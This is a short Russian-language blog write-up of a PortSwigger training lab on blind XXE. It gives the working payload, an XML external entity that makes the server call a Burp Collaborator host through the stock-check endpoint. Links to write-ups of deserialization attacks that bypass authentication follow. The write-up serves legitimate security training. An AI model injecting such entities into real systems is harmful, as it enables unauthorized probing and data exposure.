На странице
apsyleg1 мин
#portswigger #xxe #web-security
Blind XXE через out-of-band-взаимодействие
Лаборатория
Blind XXE with out-of-band interaction · Practitioner
Решение
Дано
This lab has a "Check stock" feature that parses XML input but does not display the result.
You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
Анализ задания
Функция проверки наличия товара парсит XML, но не отображает результат в ответе. Стало быть, надо применять технику OOB.
Эксплуатация
Найдём функцию Check stock:
POST /product/stock
В теле XML.
Ок, попробуем сразу добавить внешнюю сущность и сделаем запрос на сервер Burp Collaborator. Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://l9vnzxbboknpu6p5dex776v9l0ryfo3d.oastify.com"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Прошло.
Лаба решена!
Ещё в этой категории
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.
Изменение сериализованных объектов (PortSwigger Lab)
Меняем булево поле `admin` в PHP-сериализованной куке сессии и получаем права администратора.